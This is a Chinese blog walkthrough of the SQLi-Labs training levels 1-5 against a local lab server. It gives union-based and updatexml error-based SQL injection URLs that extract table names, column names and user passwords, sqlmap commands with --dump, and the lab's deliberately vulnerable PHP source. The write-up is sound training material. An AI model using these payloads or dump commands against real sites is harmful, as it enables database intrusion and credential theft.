http://192.168.220.130/sqli/Less-1/?id=1'
http://192.168.220.130/sqli/Less-1/?id=1' %23
#
号注释%23
注释--+
注释http://192.168.220.130/sqli/Less-1/?id=1' order by 3 %23 # 页面正常 http://192.168.220.130/sqli/Less-1/?id=1' order by 4 %23 # 页面显示错误
说明字段数为 3
判断显示的信息点,通过 id=-1
来执行联合查询
http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,2,3 %23
常用查询信息
查看数据库信息:
group_concat
将查询到的多行结果连接成字符串,其中 separator
可指定连接符
http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+
sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库 sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库 sqlmap -u “注入地址” -v 1 –-users # 列数据库用户 sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名 sqlmap -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名 sqlmap -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据
示例:
sqlmap -u "http://192.168.220.130/sqli/Less-1/?id=1" -v 1 -T 'users' -D 'security' -C id,username,password --dump
http://192.168.220.130/sqli/Less-2/?id=1' --+
and 1=1
页面正常http://192.168.220.130/sqli/Less-2/?id=1 and 1=1 --+
and 1=2
页面不正常http://192.168.220.130/sqli/Less-2/?id=1 and 1=2 --+
说明执行了传入的 payload,存在注入
http://192.168.220.130/sqli/Less-2/?id=1 order by 3 --+ # 页面正常 http://192.168.220.130/sqli/Less-2/?id=1 order by 4 --+ # 页面显示错误
http://192.168.220.130/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.220.130/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
http://192.168.220.130/sqli/Less-2/?id=-1 union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+
http://192.168.220.130/sqli/Less-3/?id=1'
http://192.168.220.130/sqli/Less-3/?id=1') and 1=1 --+ # 正常 http://192.168.220.130/sqli/Less-3/?id=1') and 1=2 --+ # 不正常
http://192.168.220.130/sqli/Less-3/?id=-1') union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+
加上双引号报错,发现存在 "
http://192.168.220.130/sqli/Less-4/?id=1"
http://192.168.220.130/sqli/Less-4/?id=1") and 1=1 --+ # 页面正常 http://192.168.220.130/sqli/Less-4/?id=1") and 1=2 --+ # 页面不正常
http://192.168.220.130/sqli/Less-4/?id=-1") union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+
1-4 关都可以使用该命令
sqlmap -u "http://192.168.220.130/sqli/Less-4/?id=1" -v 1 -T 'users' -D 'security' -C id,username,password --dump
php<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
由源码看出对 GET 传入的参数未做任何过滤,并打印出错误信息,直接在数据库中查询,导致可以将payload传入拼接执行
php<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
但是会把错误的信息打印出来,故应该使用到双注入(也称报错注入),在错误中把要的信息打印出来
updatexml()
: 函数是 MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数。
extractvalue()
: 函数也是 MySQL 对 XML 文档数据进行查询的 XPATH 函数。
floor()
: MySQL中用来取整的函数。
其实可完成报错注入的 MySQL 函数有很多,大概有10几个,这里就不一一说了。
它是一个内容替换函数,主要针对的 xml 数据:
第一个参数:XML_document
是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string
(Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程,和正则似的、也是做匹配用的,语法和正则不同而已
第三个参数:new_value
,String格式,替换查找到的符合条件的数据
例如:
数据版本为5.5.53,那么 concat
连接之后,得到的结果为 ~5.5.53~``updatexml(1,~5.5.53~,1)
,其中 5.5.53 并不符合 xpath 的语法格式,所以会报错
从目标XML中返回包含所查询值的字符串。
第一个参数:XML_document
是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string
(Xpath 格式的字符串)
concat
: 返回结果为连接参数产生的字符串。
例如:SELECT ExtractValue('<a><b>hello</b></a>', '/a/b');
就是寻找前一段 xml 文档内容中的 a
节点下的 b
节点,这里如果 Xpath 格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7e),1) --+
http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+
http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(username),1) from users ),0x7e),1) --+ http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(password),1) from users ),0x7e),1) --+
本文作者:@Rrx
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!